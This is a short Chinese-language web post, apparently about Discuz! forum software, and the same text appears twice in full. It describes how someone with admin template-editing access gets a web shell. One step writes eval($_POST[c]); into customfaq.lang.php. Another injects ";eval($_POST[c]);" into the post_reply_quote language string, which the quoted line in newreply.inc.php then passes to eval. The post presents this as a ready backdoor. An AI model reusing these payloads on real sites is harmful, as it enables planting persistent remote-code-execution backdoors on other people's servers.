如果後台可以在線編輯模板的話，下面的方法就可以拿SHELL了：）
1.後台編輯customfaq(customfaq.lang.php文件)
在
複製內容到剪貼板
代碼:
eval($_POST[c]);
2.後台編輯misc(misc.lang.php文件)
把post_reply_quote對應的內容改為
複製內容到剪貼板
代碼:
";eval($_POST[c]);"
在前台回帖處選擇引用回復。
簡單看下代碼：
include/newreply.inc.php 107行：
複製內容到剪貼板
代碼:
eval("\$language['post_reply_quote'] = \"$language[post_reply_quote]\";");
呵呵，一個天然的後門：）
PS：還有幾個編輯模板的地方可以利用，和第二種方法類似。
1.後台編輯customfaq(customfaq.lang.php文件)
在
複製內容到剪貼板
代碼:
eval($_POST[c]);
2.後台編輯misc(misc.lang.php文件)
把post_reply_quote對應的內容改為
複製內容到剪貼板
代碼:
";eval($_POST[c]);"
在前台回帖處選擇引用回復。
簡單看下代碼：
include/newreply.inc.php 107行：
複製內容到剪貼板
代碼:
eval("\$language['post_reply_quote'] = \"$language[post_reply_quote]\";");
呵呵，一個天然的後門：）
PS：還有幾個編輯模板的地方可以利用，和第二種方法類似。
全站熱搜
留言列表
